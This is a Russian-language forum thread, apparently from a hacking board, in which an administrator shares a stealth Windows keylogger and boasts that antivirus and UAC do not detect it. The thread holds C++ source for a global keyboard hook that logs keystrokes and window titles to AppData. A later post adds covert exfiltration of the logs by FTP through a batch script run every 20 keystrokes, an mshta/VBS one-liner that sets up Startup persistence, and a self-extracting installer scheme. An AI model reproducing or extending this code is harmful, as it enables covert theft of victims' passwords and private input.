Локальный кейлоггер by X-Shar

Малварь как искусство Пишем кейлоггер Stealth Keylogger (100% FUD) Finall_Fix

Нет прав доступа на загрузку

Кто просматривает этот контент: "Тема" (Всего пользователей: 0; Гостей: 1)

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 710
Репутация
242
Jabber
Telegram
#1
upload_2017-5-12_21-27-13.png

Antivirus scan for b37cae17f7f70406e86cf174827a2ecf39b14dfc912681fa1230f614ec634da3 at 2017-05-12 18:22:37 UTC - VirusTotal

Привет всем !

Идея написания кейлоггера у меня появилась давно, в начале я писал на ассемблере, но не доделал до конца, получилось что он очень глючил, но т.к. работы было много, а комерсом я не занимаюсь, стимул быстро пропал...

Шло время, я про эту тематику как-то забил, пока мне не попалась на глаза статья, атаки на банковскую систему, при помощи простенького кейлогера и вполне легальной программы, вероятно для пересылки логов и обхода файерволов...

Мне стало интересно, а как сложно "Программисту средней руки", к коим я себя отношу написать простенький кейлогер, как он будет палится аверами и сколько времени на это потребуется !

Идея создания такой темы/раздела появилась уже потом, когда я почти закончил этот кейлоггер.

Но обо всём попарядку, итак ответы на вопросы моего мини-исследования:

1. На момент написания статьи кейлоггер обнаруживает какой-то Endgame, и-то если поиграть с Relise/Debug и настройками компилирования, детекты пропадают;

2. Кейлогер отлично работает с UAC, практически не палит себя, т.е. вы никак не поймёте, что ваши клавиши пишутся в лог.

3. Антивирусы никак не реагируют, т.е. считают что так и надо. Dmeh-Smeh-Smeh!!!

4.Сколько-же время на это ушло ?

Около 5-ти часов, но это нужно учитывать, что опыта работы в студии у меня нет, пришлось разбираться с кодировкой символов, хуками и т.д. Больше гемора с кодировкой конечно было...i'm crazyОтдыхай!!!

Итак перейдём к основной части этой статьи:

1.Постановка задачи:

Написать кейлоггер локального действия, который может отслеживать нажатия клавиш и записывать их в лог, также нужно в логе указать дату нажатия и окно приложения где было нажата клавиша, кейлогер должен работать с русской и английской раскладкой. Также кейлогер должен работать с ограниченными правами в системе и никак не выдавать себя, пример лога:

Безымянный — Блокнот: English: M: Fri May 12 20:38:39 2017
Безымянный — Блокнот: English: ,: Fri May 12 20:38:41 2017

Безымянный — Блокнот: Russian: : [CAPS]: Fri May 12 20:38:48 2017
Безымянный — Блокнот: Russian: : Р: Fri May 12 20:38:48 2017
Безымянный — Блокнот: Russian: : И: Fri May 12 20:38:48 2017
Безымянный — Блокнот: Russian: : е: Fri May 12 20:38:50 2017

2.Основная идея написания таких программ:


Не важно на чём вы хотите писать, основная идея, это поставить hook, если по простому, то это "ловушка" для клавиатуры, смысл в том-что при нажатии пользователем на клавишу, ваша программа будет выполнять вашу функцию (подпрограмму), где вы можете уже определить нажатую клавишу, записать её в лог и т.д.

В виндовсе есть SetWindowsHookEx, которая устанавливает определяемую программой процедуру фильтра (hook) в цепочку фильтров (hook). Вы должны установить процедуру фильтра (hook) для того, чтобы контролировать в системе определенного рода типы событий. Эти события связаны или с конкретным потоком или со всеми потоками одного и того же рабочего стола, что и вызывающий поток.

Обратите внимание на последнее предложения, благодаря этого свойства, мы можем отследить все нажатия клавиш, в других приложений.

Как это сделать, пример:

Код:
int main(int argc, _TCHAR* argv[])
{
     keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,
        hookProc, hInstance, 0);

    msgLoop();
    return 0;
}
hookProc - Это наша подпрограмма (Которая будет вызываться после нажатия пользователем на клавишу), которую мы позже напишем.

msgLoop() - Тоже очень важная вещь, там цикл, если по простому то программа зациклица и будет постоянно вызывать hookProc когда пользователь нажмёт на клавишу, вот её код:

Код:
void msgLoop()
{
    while (GetMessage(&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
}
Функция GetMessage извлекает сообщение из очереди сообщений вызывающего потока и помещает его в заданную структуру. Эта функция регулирует поступление отправленных сообщений до тех пор, пока помещенное в очередь сообщение доступно для извлечения.

Функция TranslateMessage переводит сообщения виртуальных клавиш в символьные сообщения.

Функция DispatchMessage распределяет сообщение оконной процедуре. Она используется, чтобы доставить сообщение, извлеченное функцией GetMessage.

Теперь приступим к написанию нашей основной функции (подпрограммы), которая вызовится, после нажатия на кнопку пользователем:

CODE:
LRESULT CALLBACK hookProc(int nCode,

    WPARAM wParam, LPARAM lParam)
{
    if (wParam == WM_KEYDOWN)
    {

        HKL Lang_Keyboard;
        GetActiveKb (Lang_Keyboard); //Получение текущей раскладки.  
        int CodeKeyboard = (int) Lang_Keyboard;

        p = (PKBDLLHOOKSTRUCT)(lParam);
        sc = MapVirtualKey(p->vkCode, 0);
        sc <<= 16;

        if (!(p->vkCode <= 32))
        {
            sc |= 0x1 << 24;
        }

        GetKeyNameTextA(sc, keyNameBuff, 16);

        myKey = keyNameBuff;
        if (myKey == "Space") {
            writeToLog("[SPACE]");
        }
        else if (myKey == "Right Alt") {
            writeToLog("[R ALT]");
        }
        else if (myKey == "Enter") {
            writeToLog("[ENTER]");
        }
        else if (myKey == "Left Alt") {
            writeToLog("[L ALT]");
        }
        else if (myKey == "Tab") {
            writeToLog("[TAB]");
        }
        else if (myKey == "Backspace") {
            writeToLog("[Backspace]");
        }
        else if (myKey == "Caps Lock") {
            writeToLog("[CAPS]");
        }
        else if (myKey == "Delete") {
            writeToLog("[DEL]");
        }
        else if (myKey == "Right Shift") {
            writeToLog("[R SHIFT]");
        }
        else if (myKey == "Shift") {
            writeToLog("[L SHIFT]");
        }
        else if (myKey == "Ctrl") {
            writeToLog("[L CTRL]");
        }
        else if (myKey == "Right Ctrl") {
            writeToLog("[R CTRL]");
        }
        else {

            if (CodeKeyboard == 0x4190419) { //Русская раскладка
               //*************************************************************************************************
                if (isCaps() == 1) {

                    myKey = GetSymbolRu (myKey);

                    writeToLog(myKey);
                }
                else {
                    std::transform(myKey.begin(), myKey.end(),
                        myKey.begin(), ::tolower);


                    myKey = GetSymbolRu (myKey);

                    writeToLog(myKey);
                }
                //*************************************************************************************************
            } else
            {
                if (isCaps() == 1) {
                    writeToLog(myKey);
                }
                else {
                    std::transform(myKey.begin(), myKey.end(),
                        myKey.begin(), ::tolower);
                    writeToLog(myKey);
                }
            }
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

Расскажу идею, саму программу можете посмотреть во вложении:

1.Начнём с прототипа нашей подпрограммы:

LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)

wParam - Определяет нажата-ли клавиша, поэтому перед тем как что-то делать, мы проверяем нажата-ли клавиша так:
Код:
if (wParam == WM_KEYDOWN)
2. Далее прям по пунктам что нужно сделать:

2.1. Получить раскладку клавиатуры;
2.2. Получить виртуальный код клавиатуры, по нему мы сможем уже определить что конкретно нажал пользователь;
2.3. Ну в общем получить наш символ.

Всё выше названное делает этот код:
Код:
HKL Lang_Keyboard;

        GetActiveKb (Lang_Keyboard); //Получение текущей раскладки.  
        int CodeKeyboard = (int) Lang_Keyboard;

        p = (PKBDLLHOOKSTRUCT)(lParam);
        sc = MapVirtualKey(p->vkCode, 0);
        sc <<= 16;

        if (!(p->vkCode <= 32))
        {
            sc |= 0x1 << 24;
        }

        GetKeyNameTextA(sc, keyNameBuff, 16);
GetKeyNameTextA - Поместит название клавиши в буфер keyNameBuff.

Имя программы, с которой работает пользователь, можно получить так:
Код:
GetWindowTextA(hwnd, title, 100);

GetWindowTextA(hwnd, ntitle, 100); ///pars
Время так:
Код:
// Gettime
time_t seconds = time(NULL);
tm* timeinfo = localtime(&seconds);
Далее мы можем уже записать это в лог, примерно так:
Код:
ofstream log(logName, ios::app);
log << title;
log << ": English";
log << ": " << s;
log << ": " << asctime(timeinfo) << endl;
logName - Путь куда будет писаться файл логов, я использую стандартный вывод в поток ofstream, писаться может например в AppData (Туда и пишет), получить путь примерно так:
Код:
strcpy(logName, getenv("APPDATA")); // Get APPDATA folder
strcat(logName, "log.log");
НО ЭТО ЕЩЁ НЕ ВСЁ, ТЕПЕРЬ САМОЕ ИНТЕРЕСНОЕ, А ИМЕННО GetKeyNameTextA - РАБОТАЕТ ТОЛЬКО С СИМВОЛАМИ ЛАТИНСКОЙ РАСКЛАДКИ, КАК-ЖЕ СДЕЛАТЬ ПОДДЕРЖКУ КИРИЛИЦЫ ?

Можно сделать следующий костыль, просто сопоставить кирилицу и латиницу, примерно так:
Код:
string _eng = "1234567890~!@#$%^&qwertyuiop[]asdfghjkl;'zxcvbnm,./QWERTYUIOP[]ASDFGHJKL:\"|ZXCVBNM<>?";

char _rus [256] = "1234567890ё!\"№;%:?йцукенгшщзхъфывапролджэячсмитьбю.ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭ/ЯЧСМИТЬБЮ,";
Номер символа строки _eng соответствует номеру символа _rus, следовательно если мы найдём номер символа _eng, то определим и _rus, тем самым у нас будет кирилица, как это реализовать на примере:
Код:
string GetSymbolRu (string Key)

{

    int Number = 0;
    string Rezult;

    Number = _eng.find(Key);

    if (Number != -1)
    {
        char * tmp = new char [256]; // инициализируем дополнительный массив
        CharToOemA(_rus88, tmp); // преобразовываем

        delete [] tmp; // удаляем дополнительный массив


        Rezult = Rezult + _rus88[Number];

        return Rezult;  // Присвоили результат
    } else {

        return Key;
    }
}
Итак, находим номер в _eng (Number = _eng.find(Key);), далее по этому номеру уже можем получить символ в кирилице...:)

НО ПАРА МОМЕНТОВ:

Си в принципе не дружит с кирилицей, а Visual Studio особенно, поэтому что-бы всё было чётенько, ещё один кастыльчик от меня:
Код:
 char * tmp = new char [256]; // инициализируем дополнительный массив
        CharToOemA(_rus88, tmp); // преобразовываем
        delete [] tmp; // удаляем дополнительный массив
Преобразовываем строку с кирилицей, для этого выделяем буфер в памяти и юзаем CharToOemA(_rus88, tmp);, всё теперь наша строка будет нормально писаться в файл и выводится на консоль, не забывайте удалить из памяти delete [] tmp; потом...:)

Ну в общем-то и всё, далее просто в зависимости от раскладки делаете нужный вывод в файл:

Код:
if (CodeKeyboard == 0x4190419) { //Russia
log << title;
log << ": Russian";
log << ": " << ReplaceResult(s);
log << ":^^^ " << s;
 log << ": " << asctime(timeinfo) << endl;
}
else if (CodeKeyboard == 0x4090409 ) { //Eng
 log << title;
 log << ": English";
 log << ": " << s;
log << ": " << asctime(timeinfo) << endl;
 }
Ну нужно конечно ещё будет определить доп. клавиши, такие как пробел, ентер и т.д., примерно так:
Код:
if (myKey == "Space") {
           writeToLog("[SPACE]");
       }
       else if (myKey == "Right Alt") {
           writeToLog("[R ALT]");
       }
       else if (myKey == "Enter") {
           writeToLog("[ENTER]");
       }
       else if (myKey == "Left Alt") {
           writeToLog("[L ALT]");
       }
       else if (myKey == "Tab") {
           writeToLog("[TAB]");
       }
       else if (myKey == "Backspace") {
           writeToLog("[Backspace]");
       }
       else if (myKey == "Caps Lock") {
           writeToLog("[CAPS]");
       }
       else if (myKey == "Delete") {
           writeToLog("[DEL]");
       }
       else if (myKey == "Right Shift") {
           writeToLog("[R SHIFT]");
       }
       else if (myKey == "Shift") {
           writeToLog("[L SHIFT]");
       }
       else if (myKey == "Ctrl") {
           writeToLog("[L CTRL]");
       }
       else if (myKey == "Right Ctrl") {
           writeToLog("[R CTRL]");
Вроде всё основное, исходник есть во вложении, должно-быть понятно думаю...:)

Ах-да чуть не забыл:

1. Запуск налюбом компе в Visual Studio 2010 (Увеличит размер бинарника, но лучше сделать):

(Проэкт) -> (Свойства) -> (Свойства конфигурации) -> (С/С++) -> (Создание Кода) -> (Библиотека временного выполнения) -> (Многопоточная /МТ) и далее "ОК";


(Project) -> (Properties) -> (C/C++) -> (Code Generation) -> (Runtime Library) -> (Multi-threaded(/MT)) -> Ok

2. Я использовал консольный проект, так легче дебажить, поэтому ещё:

Как убрать консоль:

Жмем Project => Properties (или Alt+F7).

Затем Linker => Advanced и вбиваем в Entery Point следующее: mainCRTStartup.


Рисунок 1. Настройка проекта в Visual Studio для отключения консольного окна - установка точки входа.

Linker => System меняем SubSystem на Windows (/SUBSYSTEM:WINDOWS).

Рисунок 2. Настройка проекта в Visual Studio для отключения консольного окна.

Все и всё. Теперь собираем проект и запускаем. Консольное окно должно исчесзнуть.

Задавайте вопросы.

И ещё что во вложении:

Sorec.rar - Просто голые сорцы (Там их два), для копипасты и анализа.

KeyLogger_exe.rar - Для теста бинарник (пароль 111).

KeyLogger.rar - Проект Visual Studio

ЕЩЁ ПАРА ВОПРОСОВ ПО КЕЙЛОГЕРУ:

1)Нужно-ли его развивать, сейчас там вот-что:

- Поддержка латиницы/кирилицы, но не всех символов, если решу развивать, это поправлю;

- В логи пишется небольшой мусор (Не нужно учитывать клавиши, которые помечены символом "/"), это можно убрать.

- Можно добавить поддержку скриншётера.

2) В общем отпишитесь, нужно-ли развивать далее это, кстати Relise залили на VT, но это не страшно и специально, можно потом продолжить по обходу детекта поработать и как и через колько будет-ли детект у других.Dmeh-Smeh-Smeh!!!

УБЕДИТЕЛЬНАЯ ПРОСЬБА, ЕСЛИ ВОЗМОЖНО ОТПИШИТЕСЬ, ЕСЛИ СМЫСЛ ДАЛЬШЕ СОЗДАВАТЬ ПОДОБНЫЕ ТЕМЫ И РАЗВИВАТЬ ПОДОБНЫЕ ПРОДУКТЫ ТУТ ! :)
 

Вложения

Последнее редактирование:

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 710
Репутация
242
Jabber
Telegram
#2
Был создан ресурс этого кейлогера, буду его по мере свободного времени развивать:Эксклюзив - Локальный кейлоггер by X-Shar

Все пожелания/помощь/обсуждения в этой теме, тем самым можно создать не плохой продукт, который будет распространятся с открытым исходным кодом и бесплатно...:)
 

virt

Уважаемый пользователь
Форумчанин
Регистрация
24.11.2016
Сообщения
590
Репутация
195
Jabber
Telegram
#3
Что планируется сделать:

- К сожалению не все символы снифет, например вместо ?*%; (отобразит в логе числа 785), это нужно учитывать в коде по кодам символов, или использовать другой апи, вместо GetKeyNameTextA.
Это потому-что логгер не может получать "Комбинации клавишь", GetKeyNameTextA - Получает имя нажатой клавиши, но не комбинации...

Поэтому для решения этой проблемы, нужно добавить обработку комбинаций клавишь, примерно так:
CODE:
if ((GetKeyState('1') < 0) && (GetKeyState(VK_SHIFT)<0)) {
    // The Shift + 1 key is down.
} else {
    // The Shift + 1 key is up.
}
GetKeyState принимает коды ASCII, если нужно проверить нажата-ли какая кнопка символа, короче можете в гугле про неё почитать ! :)
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 710
Репутация
242
Jabber
Telegram
#4
Обновил ресурс, что сделано:

1)Поправил баги;

2)Сейчас полностью логируется кирилица;

3)Полность логируется латиница;

4)Логируются спец. символы и комбинации клавиш.

Качать теперь лучше из этого поста:

KeyLogger_Sources.rar - Сорцы, там два файла (cpp и h)

KeyLogger_Bin.rar - Просто бинарник, пароль 111

KeyLogger_Project_Finall.rar - Проект Visual Studio 2010

Удачи ! :)
 

Вложения

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 710
Репутация
242
Jabber
Telegram
#5
Пользователь X-Shar обновил ресурс Локальный кейлоггер by X-Shar новой записью:

Глобальные изменения

1)Поправил баги;

2)Сейчас полностью логируется кирилица;

3)Полность логируется латиница;

4)Логируются спец. символы и комбинации клавиш.
Узнать больше об этом обновлении...
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 710
Репутация
242
Jabber
Telegram
#6

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 710
Репутация
242
Jabber
Telegram
#7

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 710
Репутация
242
Jabber
Telegram
#8
Что-бы подвести тему к логическому завершению, как реализовать отправку логов без палева, это как способ:

Делаете самораспаковывающийся архив, например винраром, где будет:

- Keylogger.exe

- Программа для отправки логов, реализовать её можно например с помощью батника (Или чем захотите, но легальным, что-бы не было вопроса файерволов), например если нужно на фтп, то так:
Код:
Пишешь в файл ftp.txt (или назови как угодно):

open "адрес_ftp_сервера"
user "логин"
"пароль"
binary
put "имя_файла"
bye

Потом в *.bat пишешь: ftp -s:ftp.txt -nd.
Вроде все..
Далее в программе (моём исходнике), можно дописать:

Найти в KeyLogger.cpp переменную: countSimbols, т.е. такой код:
Код:
if (CodeKeyboard == 0x4190419) { //Russia
            log << title;
            log << ": Russian";
            //log << ": " << ReplaceResult(s);
            log << ": " << s;
            log << ": " << asctime(timeinfo) << endl;

            countSimbols++;
            if (countSimbols == 20) {
                countSimbols = 0;
            }
        }
        else if (CodeKeyboard == 0x4090409 ) {
            log << title;
            log << ": English";
            log << ": " << s;
            log << ": " << asctime(timeinfo) << endl;

            countSimbols++;
            if (countSimbols == 20) {
                countSimbols = 0;
            }
        }
Далее добавить выполнение батника (system("mybatfile.bat");), где сравнение countSimbols == 20 (В двух местах), т.е. примерно так:
Код:
if (CodeKeyboard == 0x4190419) { //Russia
           log << title;
           log << ": Russian";
           //log << ": " << ReplaceResult(s);
           log << ": " << s;
           log << ": " << asctime(timeinfo) << endl;
           countSimbols++;
           if (countSimbols == 20) {
               system("mybatfile.bat");
               countSimbols = 0;
           }
       }
       else if (CodeKeyboard == 0x4090409 ) {
           log << title;
           log << ": English";
           log << ": " << s;
           log << ": " << asctime(timeinfo) << endl;
           system("mybatfile.bat");
           countSimbols++;
           if (countSimbols == 20) {
               system("mybatfile.bat");
               countSimbols = 0;
           }
       }
   }
Соберите проект и всё, логи будут отсылаться, после того-как пользователь введёт 20-ть символов. Можете свои значения указать, можно слать на почту, но не рекомендую, ибо с почтой постоянно какие-то траблы, лучше тогда на гейт...:)

Вообще батник необязателен, можно сделать через процедуру system например всё, но это так проще было написать в этом посте...:)

Ну и если нужно, добавить в автозагрузку, то лучше в папку "Автозагрузка", лучше путём создания ярлыка, примерно так, на VBS:
Код:
@mshta vbscript:Execute("Set x=CreateObject(""WScript.Shell""):Set y=x.CreateShortcut(x.SpecialFolders(""Startup"")+""\My Program.lnk""):y.TargetPath=""%~dp0My Program.exe"":y.Save():Close()")
Этот скрипт нужно вызвать один раз, во время инсталяции программы например.

Вообще когда будете делать самораспаковывающийся архив рекомендую сделать следующее:

Там будет три файла например:

- Сам кейлоггер;

- Программа для отсылки логов (У нас это бат + файл настроек txt);

- Скрипт для инсталяции кейлоггера (Например VBS).

Так вот после распаковки SFX - архива в темп, запускаем инсталяционный скрипт, например на VBS, который скопирует файл кейлоггера и батник для отсылки логов в нужное место ( (Что запускать после автоматической распаковки, указывается при создании SFX-архива в винраре), например в папку AppData, далее этот VBS - скрипт при необходимости может добавить кейлоггер в автозагрузку...

В общем-то и всё ! :)

В итоге, рабочий инструмент и без палева АВ и UAC, да может-быть с костылями, но всё в ваших руках.

Эту тему заканчиваю так-как никто не отписал, и мне не интересно более, если будут какие вопросы/баги, то пишите, будет время отвечу/поправлю ! ;)
 
Последнее редактирование:

Kama_pulia

Житель форума
Форумчанин
Регистрация
13.12.2014
Сообщения
8
Репутация
8
#9
А нельзя сделать что бы в одну строчку писалось целиком слово, и потом с новой строки?
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 710
Репутация
242
Jabber
Telegram
#10
Можно, есть так на вскидку даже два варианта:

1. Простой. Прям в кейлогере отслеживаете нажатие энтер и пробел. Пока эти клавиши не нажаты, пишите в лог в строчку.
Как-только была нажата энтер или пробел, пишите с новой строки.

2. Есть сложнее. Написать парсер логов, тут я-бы ещё тогда шифрование логов сделал, а парсер-бы расшифровывал потом.

Короче много чего можно допилить, но т.к. мало кому интересно тут, я просто забил ! :(
 
Вверх